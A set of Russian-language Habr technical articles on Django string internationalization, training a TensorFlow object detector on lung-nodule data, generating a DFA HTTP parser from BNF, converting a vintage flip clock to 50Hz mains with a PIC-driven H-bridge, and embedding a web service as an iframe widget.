Ситуация выглядит совсем иначе, если проект изначально не предназначался для интернационализации. Огромный массив файлов, в которых разбросаны локальные строки в совершеннейшем беспорядке, при этом многие из них дублируются в разных файлах. Собирать все эти строчки в один файл, сортировать, заменять их содержимое в исходных файлах на идентификаторы сообщений — огромная и неблагодарная работа.
Встретившись с этой задачей, я понял, что выполняя ее вручную, я умру от скуки, если прежде того меня не стошнит. При этом я с удивлением обнаружил, что инструментов, которые бы облегчали мне жизнь хотя бы наполовину, до сих пор нет. Четыре дня работы — и на свет появился проект [django-make-i18n](https://github.com/nnseva/django-make-i18n), который я вам и представляю.
Всю работу выполняет один достаточно объемный скрипт на python. Дополнительно к питону (у меня 2.7), сам скрипт зависит только от polib и не требует наличия окружения django.
Запуская скрипт в первый раз и напуская его на каталог проекта, вы получаете заготовку файла django.po, в которой собраны все обнаруженные строки на локальном (по умолчанию — русском) языке. Пойманные строки размещены в разделах msgstr, а msgid заполнены начальным значением «NEEDS TO BE EDITED [nnn]».
Исходные файлы не изменяются, вместо этого рядом с исходным проектом создается параллельный, с добавлением к имени каталога расширения .i18n.
Далее вам предстоит пройтись по файлу django.po и произвести «обратный перевод», то есть заменить начальные значения msgid каким-нибудь внятным эквивалентом на английском языке. Надо только следить, чтобы у всех строк msgid значения при этом оставались уникальными.
Второй запуск скрипта анализирует файл django.po и производит подстановку обращений к подсистеме перевода вместо исходных локальных строк. Например, допустим Вы имеете файл views.py, в котором размещен следующий код:
```
if request.method == 'POST': # If the form has been submitted...
post = True
logging.info('POST запрос обнаружен')
request_form = RequestVideoForm(request.POST)
if request_form.is_valid(): # All validation rules pass
logging.info('Форма верна')
ok = True
send_request(request,request_form,request.region.urlname,'feedback@doroga.tv')
message = u'Ваша заявка была отправлена'
request_form = None
# clean form
else:
message = u'Исправьте данные в форме'
```
После первого запуска скрипта, в django.po обнаружатся строки примерно следующего содержания:
```
msgid "NEEDS TO BE EDITED [333]"
msgstr "POST запрос обнаружен"
msgid "NEEDS TO BE EDITED [334]"
msgstr "Форма верна"
msgid "NEEDS TO BE EDITED [335]"
msgstr "Ваша заявка была отправлена"
msgid "NEEDS TO BE EDITED [336]"
msgstr "Исправьте данные в форме"
```
Если вы ничего не измените в файле django.po, то после второго запуска скрипта, будет создана копия файла views.py, содержащая примерно следующие строки:
```
if request.method == 'POST': # If the form has been submitted...
post = True
logging.info(_('NEEDS TO BE EDITED [333]'))
request_form = RequestVideoForm(request.POST)
if request_form.is_valid(): # All validation rules pass
logging.info(_('NEEDS TO BE EDITED [334]'))
ok = True
send_request(request,request_form,request.region.urlname,'feedback@doroga.tv')
message = _('NEEDS TO BE EDITED [335]')
request_form = None
# clean form
else:
message = _('NEEDS TO BE EDITED [336]')
else:
logging.info(_('NEEDS TO BE EDITED [337]'))
request_form = RequestVideoForm(auto_id=True)
```
Попробуем заполнить строки в django.po следующим образом:
```
msgid "POST request has been found"
msgstr "POST запрос обнаружен"
msgid "Form is valid"
msgstr "Форма верна"
msgid "Your request has just been sent"
msgstr "Ваша заявка была отправлена"
msgid "Fix form data"
msgstr "Исправьте данные в форме"
```
Запускаем скрипт еще раз — и получаем вполне сносный код следующего вида:
```
if request.method == 'POST': # If the form has been submitted...
post = True
logging.info(_('POST request has been found'))
request_form = RequestVideoForm(request.POST)
if request_form.is_valid(): # All validation rules pass
logging.info(_('Form is valid'))
ok = True
send_request(request,request_form,request.region.urlname,'feedback@doroga.tv')
message = _('Your request has just been sent')
request_form = None
# clean form
else:
message = _('Fix form data')
```
Дополнительно, скрипт добавляет в начало файла код импорта пакета интернационализации:
```
from django.utils.translation import ugettext as _
```
на случай, если вы случайно забыли сделать это.
Те же операции, с учетом специфики языка и использования django, выполняются на файлах html и js. При этом для JavaScript создается файл djangojs.po.
Осталось скомпилировать сообщения:
```
python manage.py compilemessages --all
```
Вуаля — ваш проект подготовлен к интернационализации. Конечно, еще остается много всяких деталей самой интернационализации под django, но они выходят за рамки данной статьи. | https://habr.com/ru/post/156879/ | null | ru | null |
# Инструкция по работе с TensorFlow Object Detection API
*Перевод [TensorFlow Object Detection API tutorial — Training and Evaluating Custom Object Detector](https://becominghuman.ai/tensorflow-object-detection-api-tutorial-training-and-evaluating-custom-object-detector-ed2594afcf73).*
Мы все умеем водить машину, ведь это довольно легко, правда? Но что вы будете делать, если кто-то попросит вас сесть за штурвал самолета? Совершенно верно — вы прочитаете инструкцию. Аналогично, руководство, которое вы найдете ниже, поможет вам настроить API и наслаждаться приятным полетом.
Прежде всего, клонируйте хранилище по [ссылке](https://github.com/tensorflow/models). Надеюсь, [TensorFlow](https://www.tensorflow.org/install/) у вас уже установлена.
*git clone [github.com/tensorflow/models.git](https://github.com/tensorflow/models.git)*
В машинном обучении мы, как правило, обучаем и проверяем модель при помощи CSV-файла. Но в данном случае мы действуем по схеме, приведенной на рисунке:
Прежде чем продолжить, остановимся на структуре каталогов, которыми мы будем пользоваться.
* data/ — Здесь будут содержаться записи и CSV-файлы.
* images/ — Здесь находится набор данных для обучения нашей модели.
* training/ — Сюда мы сохраним обученную модель.
* eval/ — Здесь будут храниться результаты оценки работы модели.
Шаг 1: сохранение изображений в CSV
-----------------------------------
Здесь всё довольно просто. Углубляться в эту задачу не будем, лишь приведу несколько полезных ссылок.
Наша задача — пометить изображение и создать файлы train.CSV и test.CSV.
* При помощи инструмента [labelImg](https://github.com/tzutalin/labelImg) помечаем изображение. Как это сделать, смотрите [здесь](https://www.youtube.com/watch?v=K_mFnvzyLvc&list=PLQVvvaa0QuDcNK5GeCQnxYnSSaar2tpku&index=3).
* Конвертируем XML в CSV, как показано [здесь](https://www.youtube.com/watch?v=kq2Gjv_pPe8&index=4&list=PLQVvvaa0QuDcNK5GeCQnxYnSSaar2tpku).
Cуществует множество способов создания CSV-файлов, в большей или меньшей степени подходящих для работы с каждым конкретным набором данных.
В рамках своего проекта мы постараемся добиться обнаружения легочных узлов при помощи датасета [LUNA](https://luna16.grand-challenge.org/data/). Координаты узлов уже были известны, а потому создание CSV-файлов не составляло труда. Для обнаружения узлов мы используем 6 координат, показанных ниже:
Вам следует исправить лишь название класса `nodules` (узлы), всё прочее останется без изменений. Как только отмеченные объекты будут представлены в виде цифр, можно переходить к созданию TFRecords.
Шаг 2: создание TFRecords
-------------------------
TensorFlow Object Detection API не принимает входные данные для обучения модели в формате CSV, поэтому необходимо создать TFRecords при помощи [этого файла.](https://github.com/datitran/raccoon_dataset/blob/master/generate_tfrecord.py)
```
"""
Usage:
# From tensorflow/models/
# Create train data:
python generate_tfrecord.py --csv_input=data/train_labels.csv --output_path=train.record
# Create test data:
python generate_tfrecord.py --csv_input=data/test_labels.csv --output_path=test.record
"""
from __future__ import division
from __future__ import print_function
from __future__ import absolute_import
import os
import io
import pandas as pd
import tensorflow as tf
from PIL import Image
from object_detection.utils import dataset_util
from collections import namedtuple, OrderedDict
flags = tf.app.flags
flags.DEFINE_string('csv_input', '', 'Path to the CSV input')
flags.DEFINE_string('output_path', '', 'Path to output TFRecord')
FLAGS = flags.FLAGS
# TO-DO replace this with label map
def class_text_to_int(row_label):
if row_label == 'raccoon':
return 1
else:
None
def split(df, group):
data = namedtuple('data', ['filename', 'object'])
gb = df.groupby(group)
return [data(filename, gb.get_group(x)) for filename, x in zip(gb.groups.keys(), gb.groups)]
def create_tf_example(group, path):
with tf.gfile.GFile(os.path.join(path, '{}'.format(group.filename)), 'rb') as fid:
encoded_jpg = fid.read()
encoded_jpg_io = io.BytesIO(encoded_jpg)
image = Image.open(encoded_jpg_io)
width, height = image.size
filename = group.filename.encode('utf8')
image_format = b'jpg'
xmins = []
xmaxs = []
ymins = []
ymaxs = []
classes_text = []
classes = []
for index, row in group.object.iterrows():
xmins.append(row['xmin'] / width)
xmaxs.append(row['xmax'] / width)
ymins.append(row['ymin'] / height)
ymaxs.append(row['ymax'] / height)
classes_text.append(row['class'].encode('utf8'))
classes.append(class_text_to_int(row['class']))
tf_example = tf.train.Example(features=tf.train.Features(feature={
'image/height': dataset_util.int64_feature(height),
'image/width': dataset_util.int64_feature(width),
'image/filename': dataset_util.bytes_feature(filename),
'image/source_id': dataset_util.bytes_feature(filename),
'image/encoded': dataset_util.bytes_feature(encoded_jpg),
'image/format': dataset_util.bytes_feature(image_format),
'image/object/bbox/xmin': dataset_util.float_list_feature(xmins),
'image/object/bbox/xmax': dataset_util.float_list_feature(xmaxs),
'image/object/bbox/ymin': dataset_util.float_list_feature(ymins),
'image/object/bbox/ymax': dataset_util.float_list_feature(ymaxs),
'image/object/class/text': dataset_util.bytes_list_feature(classes_text),
'image/object/class/label': dataset_util.int64_list_feature(classes),
}))
return tf_example
def main(_):
writer = tf.python_io.TFRecordWriter(FLAGS.output_path)
path = os.path.join(os.getcwd(), 'images')
examples = pd.read_csv(FLAGS.csv_input)
grouped = split(examples, 'filename')
for group in grouped:
tf_example = create_tf_example(group, path)
writer.write(tf_example.SerializeToString())
writer.close()
output_path = os.path.join(os.getcwd(), FLAGS.output_path)
print('Successfully created the TFRecords: {}'.format(output_path))
if __name__ == '__main__':
tf.app.run()
```
Скачав файл, внесите одно маленькое изменение: в строке 31 вместо слова `raccoon` поставьте собственную отметку. В приведённом примере это `nodules`, узлы. Если ваша модель должна будет определять несколько видов объектов, создайте дополнительные классы.
*Примечание. Нумерация меток должна начинаться с единицы, а не с нуля. Например, если вы используете три вида объектов, им должны быть присвоены значения 1, 2 и 3 соответственно.*
Для создания файла *train.record* воспользуйтесь следующим кодом:
```
python generate_tfRecord.py --CSV_input=data/train.CSV --output_path=data/train.record
```
Для создания файла *test.record* воспользуйтесь следующим кодом:
```
python generate_tfrecord.py — CSV_input=data/test.CSV — output_path=data/test.record
```
Шаг 3: обучение модели
----------------------
Как только нужные нам файлы созданы, мы почти готовы приступить к обучению.
1. [Выберите модель, которую будете о](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md)бучать. Вам следует найти компромисс между скоростью работы и точностью: чем выше скорость, тем ниже точность определения, и наоборот. В качестве примера здесь используется `sd_mobilenet_v1_coco`.
2. Решив, с какой моделью будете работать, [скачайте соответствующий файл конфигурации](https://github.com/tensorflow/models/tree/master/research/object_detection/samples/configs). В данном примере это `ssd_mobilenet_v1_coco.config`.
3. Создайте файл *object-detection.pbtxt*, который выглядит так:
```
item {
id: 1
name: 'nodule'
}
```
Присвойте классу `nodule` другое имя. Если классов несколько, увеличивайте значение `id` и вводите новые имена.
Пришло время настроить файл конфигурации, внеся следующие коррективы.
Измените количество классов согласно своим требованиям.
```
#before
num_classes: 90
#After
num_classes: 1
```
Если мощность вашего GPU недостаточна, понизьте значение `batch_size`.
```
batch_size: 24
```
Укажите путь к модели `ssd_mobilenet_v1_coco`, которую мы скачали ранее.
```
#before
fine_tune_checkpoint: "PATH_TO_BE_CONFIGURED/model.ckpt"
#after
fine_tune_checkpoint: "ssd_mobilenet_v1_coco/model.ckpt"
```
Укажите путь к файлу *train.record*.
```
#before
train_input_reader: {
tf_record_input_reader {
input_path: "PATH_TO_BE_CONFIGURED/mscoco_train.record"
}
label_map_path: "PATH_TO_BE_CONFIGURED/mscoco_label_map.pbtxt"
}
#after
train_input_reader: {
tf_record_input_reader {
input_path: "data/train.record"
}
label_map_path: "data/object-detection.pbtxt"
}
```
Укажите путь к файлу *test.record.*
```
#before
eval_input_reader: {
tf_record_input_reader {
input_path: "PATH_TO_BE_CONFIGURED/mscoco_val.record"
}
label_map_path: "PATH_TO_BE_CONFIGURED/mscoco_label_map.pbtxt" shuffle: false
num_readers: 1}
#after
eval_input_reader: {
tf_record_input_reader {
input_path: "data/test.record"
}
label_map_path: "data/object-detection.pbtxt"
shuffle: false
num_readers: 1}
```
Теперь скопируйте папки *data/* и *images/* в папки *models/research/object-detection*. Если поступит предложение о слиянии папок, примите его.
Кроме того, нам понадобится расположенный в директории *object-detection*/ файл *train.py.*
```
cd models/research/object-detection
```
Создайте в папке *object-detection*/ папку *training/.* Именно в *training/* мы сохраним нашу модель. Скопируйте в *training/* файл конфигурации *ssd\_mobilenet\_v1\_coco.config*. Обучение выполняется при помощи команды:
```
python train.py --logtostderr \
--train_dir=training/ \
--pipeline_config_path=training/ssd_mobilenet_v1_coco.config
```
Если всё пойдет по плану, вы увидите, как меняется функция потерь на каждом этапе.
Шаг 4: оценка модели
--------------------
Наконец, мы оцениваем модель, сохраненную в директории *training/*. Для этого запускаем файл *eval.py* и вводим следующую команду:
```
python eval.py \
--logtostderr \
--pipeline_config_path=training/ssd_mobilenet_v1_coco.config \
--checkpoint_dir=training/ \
--eval_dir=eval/
```
Результаты проверки отразятся в папке *eval/*. Их можно визуализировать с помощью TensorBoard.
```
#To visualize the eval results
tensorboard --logdir=eval/
#TO visualize the training results
tensorboard --logdir=training/
```
Откройте ссылку через браузер. Во вкладке *Images* вы увидите результаты работы модели:
На этом всё, вы успешно настроили TensorFlow Object Detection API.
Одна из самых распространенных ошибок:
`No module named deployment on object_detection/train.py`
Решается при помощи команды:
```
# From tensorflow/models/research/
export PYTHONPATH=$PYTHONPATH:`pwd`:`pwd`/slim
```
О способах изменения параметров Faster-RCNN/SSD вы можете прочитать [здесь](https://towardsdatascience.com/3-steps-to-update-parameters-of-faster-r-cnn-ssd-models-in-tensorflow-object-detection-api-7eddb11273ed).
Спасибо за внимание! | https://habr.com/ru/post/422353/ | null | ru | null |
# Создание конечного автомата для разбора HTTP запроса
Детерминированный конечный автомат можно использовать для реализации очень быстрого способа разбора входной последовательности. Требуется всего один проход по входной последовательности, и минимальные действия на каждом шаге. К сожалению эта модель имеет ограничения — не всегда возможно построить ДКА, для имеющегося Недетерминированного конечного автомата (регулярного выражения, грамматики). Или даже если возможно построить, автомат может иметь слишком большое число состояний.
Тем не менее я решил попробовать создать парсер для HTTP запроса на основе ДКА. Основная задача не просто проверить корректность HTTP запроса, а именно выделить во входной строке элементы соответствующие определенным значениям полей HTTP запроса. Автомат должен генерироваться из BNF правил (разбросанных по) RFC2616. Реализовано все на C#, автомат на выходе тоже на C#. Хотя понятно что когда автомат готов, сгенерировать его на любом языке, в любом виде не проблема.
Для генерации ДКА реализована следующая цепочка действий:
1. Разбор BNF правил
2. Создание на их основе НКА
3. Преобразование НКА в ДКА
4. Минимизация ДКА
5. Создание файлов с исходным текстом и таблицей переходов
Для разбора BNF грамматики я воспользовался [Irony](http://irony.codeplex.com/), грамматика ABNF хорошо описана в RFC5234. По синтаксическому дереву программа строит НКА по правилам Томсона. Для преобразования НКА в ДКА, и минимизации использованы стандартные алгоритмы, описывать их тоже не буду.
Так как HTTP сообщение, относительно простой объект, то на выходе парсера — класс (этого достаточно), с полями соответствующими HTTP заголовкам. Для того чтобы автомат в процессе прохода мог парсить сообщение, в ДКА при генерации в нужные состояния добавляются простые действия, модифицирующие переменные класса. К примеру, нужно получить значение заголовка Host, в классе предусмотрены две переменные начало и конец заголовка. В состояниях которые срабатывают когда автомат идет по значению поля Host, добавляются действия по изменению этих переменных. В самом ДКА определить какое состояние за что отвечает, на практике невозможно. Поэтому состояния помечаются при создании НКА, и дальше эти метки сохраняются, при всех преобразованиях автомата. Для упрощения отметки состояний и назначения действий был сделан простейший язык, в котором задаются названия переменных и какие значения они получат. На основе этих данных потом уже и генерируется класс, в который парсер помещает результат работы.
Подобный подход используется в регулярных выражениях (хотя не во всех реализациях делают преобразование в ДКА). Но имея прямой доступ к автомату, возможно произвести ряд интересных оптимизаций. К примеру, поле Content-Lenght содержит длину тела сообщения, для этого поля преобразование в число происходит прямо в автомате, на выходе имеем поле класса int ContentLenght. Еще одна интересная оптимизация, к примеру для HTTP запроса определен набор методов (GET,HOST...). На выходе парсера можно сразу получить константу соответствующую методу. И все это за один проход.
Так же очень важно, что парсер принимает на вход массив байт, особенно это актуально для современных языков вроде C#, где строка это не массив байт как в C++, и простым кастингом указателя здесь не обойдешься.
В целом система выглядит следующим образом. Имеется BNF грамматика, и описание класса который хотим получить на выходе. Все это подаем на вход генератора, и получаем ДКА на C#. С готовым автоматом можно работать следующим образом:
`dfa.SetDefaultValue();
dfa.Parse(message0, 0, message0.Length);
dfa.SetArray(message0);
Console.WriteLine("Method: {0}", dfa.Method);
Console.WriteLine("Request-URI: |{0}|", dfa.RequestUri.ToString());
Console.WriteLine("Host: |{0}|", dfa.Host.ToString());
Console.WriteLine("Content-Type: |{0}|", dfa.ContentType.Value.ToString());
Console.WriteLine("Content-Length: {0}", dfa.ContentLength);
Console.WriteLine("Referer: |{0}|", dfa.Referer.ToString());`
На практике, ДКА для HTTP запроса содержит до минимизации 150К состояний, после 1К-2К. Понятно, во первых, что 1К-2К вполне приемлемое значение для реального использования. Во вторых 150К состояний, требует некоторой памяти и времени на вычисления (по крайней мере в моей реализации) — минут x-цать.
Скорость работы парсера очень высокая, формальная грубая оценка для такого подхода ~С\*O(n), и принципиально улучшить ее наверное сложно. В реальности, парсер на C# у меня на машине, успел распарсить 1М раз за 3.3 секунды сообщение длиной 220 байт.
Исходный код проекта доступен: [code.google.com/p/siprevo](http://code.google.com/p/siprevo/)
Код на выходе генератора старался сделать аккуратным, но сам генаратор слегка (если не сказать больше) в черновом варианте. Хорошо (только не во время отладки) что такие системы почти не могут слегка глючить, оно либо работает, либо не работает, в данном случае работает.
**Update:** *«компилятор»* автомата в виде отдельной утилиты *живет* [здесь](https://github.com/vf1/bnf2dfa). | https://habr.com/ru/post/141743/ | null | ru | null |
# Приучаем винтажные американские часы кормиться от нашей сети
#### Вместо предисловия
Кто не мечтал о таких часах после просмотра любимого фильма GTD-шников, может дальше не читать. А остальным я расскажу как заполучить себе такие часы и заставить их работать.
#### Шаг первый
К сожалению, чудес не бывает. Сами часы придется купить за вполне реальные доллары. Вот [пример](http://www.ebay.com/itm/Vintage-Panasonic-Am-Fm-Alarm-Flip-Clock-Radio-Model-6030-one-you-want-/250910189881?pt=LH_DefaultDomain_0&hash=item3a6b69a939) лота на Ebay, где-то за 35 долларов я их и покупал. Модель то ли такая же, то ли почти такая же, как в фильме. По некоторым показаниям в фильме RC-6050, но быстро проверить мне это не удалось, поэтому утверждать не буду. Ехали, вроде, часы долго. Месяца три.
#### Шаг второй
В часах стоит хиленький трансформатор на 110В. Собственно тем, что я вернулся к этим часам спустя года три или четыре после того, как я подарил их другу, мы обязаны небольшой вечеринке, в ходе которой воткнули в розетку часы напрямую без переходника. Трансформатор тут же тихонечко без дыма и шума скончался. Информации по трансформатору найти не удалось, поэтому я стал гадать на кофейной гуще. Вторичная обмотка была двухсекционная, я ее смотал, считая витки. Таким образом я выяснил отношение витков в секциях вторичных обмоток. Дальше я внимательно оглядел двигатель, который почти напрямую питается от одной из обмоток трансформатора и нашел на нем кроме заводского стикера маленькую наклеечку с надписью 10VAC, что означает 10 вольт переменного тока. Знаем напряжение на одной из обмоток, знаем отношение витков, получаем, что на второй обмотке 6В.
К счастью на балконе завалялся трансформатор от микроволновки, у которого как на удачу среди кучи вторичных обмоток попались почти нужные 10В и 14В.
*\*Трансформатор от микроволновки — это не та трехкилограммовая чушка, которая питает магнетрон, а вполне себе пристойных размеров трансформатор от блока электроники.*
Подключаем и вуаля — все работает!
#### Шаг третий
Все, да не все. Оказывается, ось с пластиночками приводится во вращение двигателем переменного тока, обороты которого зависят от частоты напряжения питающей сети. Часы, будучи воткнутыми в нашу розетку, сильно отставали (если применить пропорцию, то выясним, что за минуту по этим часам в нашем мире проходит 72 секунды. Мне кажется, что ученые из ЦЕРНА, когда меряли скорость нейтрино, воспользовались американским оборудованием — а про частоту пульсаций напряжения не подумали… По крайней мере это выглядит более вероятным чем то, что они не учли замедление хода часов на движущемся спутнике). Итак, новая задача — превратить 10В 50Гц в 10В 60Гц.
*\*Пытливый читатель спросит — почему просто не перебрать редуктор, так, чтобы при прежних оборотах двигателя вал часов скидывал пластинку ровно за минуту? Или почему просто не поменять двигатель? Ответ сложно составной — параметры двигателя не вполне известны, шестеренки брать неоткуда, руки не настолько из правильного места растут и вообще — нафига я столько электроники пожег? Чтобы в самый ответственный момент смалодушничать и взяться за напильник с ножовкой? Фига с два!*
Ну чего, надо делать преобразователь напряжения. Если попытаться погуглить, то выяснится, что это проект на много-много ночей и долларов. И я почти целые сутки ходил и думал — как бы мне добыть синус (ну, получить изменяющееся по синусоидальному закону напряжение), как его конвертнуть в S-PWM (это Sine wave — PWM, т.е. широтно-импульсная модуляция с переменным периодом, которая будучи приложена к двигателю даст все тот же синус). Причем лазанье по форумам сформировало четкое понимание того, что синунс должен быть если не идеальным, то близким к идеальному с погрешностью не более 0.01%, а иначе гармоники, торцевые биения и разрушение двигателя, часов, квартиры, а возможно и всего дома вместе с ними. Было реально страшно.
Но посоветовавшись с ребятами на [roboforum.ru](http://www.roboforum.ru), я был тыкнут носом в [статейку про «модифицированный синус»](http://www.sev.ru/info/2008-04-09/131) и таки решил рискнуть. В принципе дальше есть куча вариантов — все ограничивается лишь вашей фантазией. Я для тестов взял самодельный драйвер двигателя, который, по сути, является H-мостом. Кто не знаком с этим чудом, милости просим почитать [здесь](http://roboforum.ru/wiki/H-bridge). Подключил к нему ORduino Nano, написал простенькую программку, которая делала следующее:
Т.е. генерировала почти что синус. Кто не видит на картинке зеленый синус — попробуйте посмотреть через анаглифные очки или гляда в одну точку за плоскостью монитора, т.е. сводя глаза (шутка).
С замиранием сердца подключил выход моста к двигателю и о, чудо! — двигатель завертелся. Дальше перенес идею в «реальное» железо. Был у меня полусгоревший PIC16F887, и микросхема l293d (четверной полумост). Собрал вот такую схему на макетке:
На входы IN1 и IN2 можно подавать периодический сигнал от чего угодно — микроконтроллера, схемы на 555 и чего угодно другого. Резистор для стабилитрона надо рассчитать под свою схему (может, вам вообще не понадобиться резистор стабилитрон. Но если понадобиться — ищите в гугле «расчет параметрического стабилизатора». Я для питания своего бедолаги поставил резистор на 470 Ом).
Написал сложнейшую программу уже для PIC'a:
`/*
* File: flip_clock_main.c
* Author: ImWode
*
* Created on 17 Октябрь 2011 г., 21:58
*/
#include "pic.h"
__CONFIG(INTIO & WDTEN & PWRTEN & MCLRDIS & BORDIS & LVPDIS & UNPROTECT);
void configure (void);
int i = 0;
int main(void) {
configure(); //конфигурируем камень
while (1)
{
CLRWDT(); //в цикле пинаем собаку
}
}
void configure (void)
{
OSCCON = 0b01111111; //8МГц, внутренний такт
ANSEL = 0x00;
ANSELH = 0x00;
TRISA = 0x00;
T2CON = 0b00000100; //таймер без делителей
TMR2IF = 0;
TMR2IE = 1;
TMR2 = 0;
PEIE = 1;
GIE = 1;
}
void interrupt isr (void)
{
if (TMR2IE && TMR2IF) /дерг-дерг
{
switch (i++)
{
case 52:
RA3 = 0;
break;
case 64:
RA2 = 1;
break;
case 116:
RA2 = 0;
break;
case 129:
RA3 = 1;
i = 0;
break;
}
TMR2IF = 0;
}
}`
Впаял все в часы и как бы все. Дом стоит, свет горит, часы ходят, точность приемлемая (около минуты в сутки).
А, да, еще я сделал подсветку, так как родная сгорела. Лампочку на 10VAC не нашел, поэтому сделал на двух белых светодиодах:
#### Шаг четвертый (вместо третьего для особо замороченных)
Можно ведь вместо квази-синуса такой же схемой сделать и вполне себе приличный синус. По табличке брать значение синуса и выдавать в течение положительного полупериода на один вход моста, а в течение отрицательного полупериода те же самые значения на второй вход. Все будет очень прилично выглядеть, главное знать на что способен выбранный Н-мост (например, l293d просит не щелкать им чаще 5кГц, и при этом будет греться как печь. Внимательно с этим).
#### Ну вот и все
Уверен, сегодня вы весь день будете ходить и напевать: I got you babe! | https://habr.com/ru/post/130785/ | null | ru | null |
# Перевезу в iframe. Дешево
Представьте, что вы отвечаете за большой веб-сервис со сложным интерфейсом, замысловатой навигацией, авторизацией, платежной системой. Представьте, что однажды к вам приходит ваш PO и просит сделать не одну его часть, не один конкретный бизнес-процесс, а весь этот сервис встраиваемым. И конечно по пути ни один из сотен тысяч пользователей вашего сервиса не должен пострадать. Возможно ли это и насколько это дорого?
### Зачем?
Да, скорее всего, это первое, о чем вы подумаете, когда перед вами поставят такую задачу. Зачем это может быть нужно? Ответ прост, встраивание - самый дешевый способ интеграции. Если вы хотите, чтобы как можно больше партнёров могли использовать функционал вашего сервиса на своих страницах, вам нужно сделать его встраиваемым. В таком случае потребителю будет достаточно добавить себе на сайт пару скриптов, вызвать несколько JavaScript-методов и все, дорогостоящая разработка не потребуется.
Особенно эффективен этот подход, если ваш бизнес связан с продажей услуг в интернете, чаще всего к нему прибегают продавцы авиабилетов и сервисы аренды жилья. Крупные компании разрабатывают для встраивания специальные, урезанные версии своих приложений, заточенные под один конкретный пользовательский сценарий, чаще всего - собственно покупку основного продукта. Вот как выглядят эти приложения у ключевых игроков рынка, [Anywayanyday](https://b2b.anywayanyday.com/en/b2b/web/) и [Booking.com](https://www.booking.com/affiliate-program/v2/selfmanaged.en-gb.html?auth_success=1).
Но что, если у вас небольшой бизнес и держать отдельную команду, которая разрабатывает встраиваемое решение вам не по карману? В таком случае вы можете придти к этой странной идее: **встроить все**.
### Как?
Первое, о чем стоит позаботиться - тестовый стенд. Вам нужно создать веб-приложение, которое будет изображать потребителя вашего виджета. Я назову его *Pseudo-partner*, a встраиваемый сервис для простоты буду называть *виджетом.* Pseudo-partner можно будет использовать для разработки, тестирования и экспериментов. Вот основные требования:
1. Pseudo-partner и виджет *обязательно* должны использовать разные [ориджины](https://developer.mozilla.org/en-US/docs/Glossary/Origin). Порт тоже является частью ориджина, поэтому для локальной разработки будет достаточно просто запустить Pseudo-partner и виджет на разных портах
2. Pseudo-partner должен уметь менять URL-адрес виджета
3. Pseudo-partner должен быть адаптирован для мобильных устройств, особенно если ваш виджет с ними работает
4. Будет здорово, если Pseudo-partner будет похож на настоящие партнерские сайты, где вы планируете размещать ваши виджеты
Схематично сервис Pseudo-partner выглядит примерно так:
Можно начинать экспериментировать. Создадим `iframe`, укажем в его `src` адрес нашего виджета, установим базовые настройки стилей и вставим его внутрь Pseudо-partner'a:
```
```
Фрейм займет всю доступную ширину, а вот его высота по контенту не потянется, она будет зафиксирована на значении в 300px. Всё, что не поместится во фрейм по высоте, будет скрыто за полосой прокрутки. Единственный способ заставить `iframe` учитывать высоту контента - организовать протокол обмена данными между родительским и встроенным окном. Для решения этой задачи существует [window.postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) API.
Уже на этом этапе понятно, что на стороне Pseudo-partner нужно уметь выполнять JavaScript код. Этот код среди всего прочего, будет получать сообщения виджета и изменять размер фрейма, поэтому просто тега `iframe` нам не хватит, мы будем использовать внешний скрипт и инициализирующий вызов.
### Инициализация
Основная задача этого кода - предоставить JavaScript-API для потребителей нашего виджета. В самом простом случае встраивание виджета могло бы выглядеть следующим образом:
```
window.onWidgetCodeLoaded = () => {
const widget = new widnow.Widget({
container: document.querySelector('#container'),
consumerId: 'very\_first\_partner'
});
}
```
Несколько важных моментов:
1. Используйте версионирование для скрипта инициализации: `/widget/v1/script.js`. В будущем мы можем захотеть поменять API виджета и не сможем поддерживать обратную совместимость.
2. Я советую не кэшировать код скрипта на долгое время, особенно на ранних стадиях разработки. Вы можете захотеть обеспечить новую функциональность, используя тот же самый файл со скриптом. Или, в худшем случае, вы можете обнаружить баг в своем коде и захотеть его исправить для всех потребителей сразу. Не настраивайте `max-age` больше, чем на несколько часов, а лучше просто используйте `ETag` для инвалидации кэша.
3. Используйте атрибут `async` для тега `script` или будьте готовы, что ваш потребитель будет его использовать. Чтобы поддержать асинхронную загрузку, можно использовать колбек, как в примере выше, или кастомные ивенты.
4. Присвойте каждому из потребителей, установивших ваш виджет, уникальный id. Это поможет обеспечить безопасность, отслеживать статистику и быстрее находить, в чем и у кого проблемы.
Сам по себе скрипт инициализации может быть написан в ООП-стиле, я люблю использовать TypeScript:
```
interface Window {
Widget: typeof FramedWidget;
onWidgetCodeLoaded: () => void;
}
interface InitParams {
container: HTMLElement;
consumerId: string;
}
interface Message {
type: 'height-changed';
value: number;
}
class FramedWidget {
constructor(params: InitParams) {
this.init(params);
}
private frameOrigin = 'https://my-application.ru';
private frame: HTMLIFrameElement | undefined;
private parseMessage(message: string) {
let result: Message | undefined;
try {
result = JSON.parse(message);
} catch (e) {}
return result;
}
private postMessageHandler = (event: MessageEvent) => {
if (event.origin !== this.frameOrigin) {
return;
}
const message = this.parseMessage(event.data);
if (message?.type === 'height-changed') {
this.frame!.style.height = `${message.value}px`;
}
};
private init(params: InitParams) {
this.frame = document.createElement('iframe');
this.frame.src = `${this.frameOrigin}?consumerId=${params.consumerId}`;
this.frame.setAttribute(
'style',
'width:100%; border:none; min-height:300px;'
);
params.container.appendChild(this.frame);
window.addEventListener('message', this.postMessageHandler);
}
destroy = () => {
window.removeEventListener('message', this.postMessageHandler);
};
}
if (typeof window !== 'undefined') {
window.Widget = FramedWidget;
window.onWidgetCodeLoaded?.();
}
```
Из важного здесь:
1. Сразу позаботьтесь о методе `destroy`, он будет особенно полезен при встраивании виджета в SPA-приложение
2. *Всегда* проверяйте `event.origin` внутри `postMessageHandler`, и заворачивайте ваш `JSON.parse` код внутрь блоков `try ... catch`
3. Установите значение `min-height` вашего фрейма на какое-то осмысленное значение, это уменьшит количество "скачков" интерфейса и позволит нарисовать ошибку внутри фрейма, если что-то в процессе инициализации пойдет не так.
4. Собирайте этот код под максимально широкий диапазон браузеров. Я советую устанавливать `"target": "es6"` в `tsconfig.json` или что-то около `> 0.2%, not dead` в `.browserslistrc`.
Здесь надо упомянуть, что существуют специальные библиотеки, которые помогают изменять размер фреймов в зависимости от их контента. Самая популярная из них - [iframe-resizer](https://github.com/davidjbradshaw/iframe-resizer), но чаще всего вам не нужен весь ее функционал.
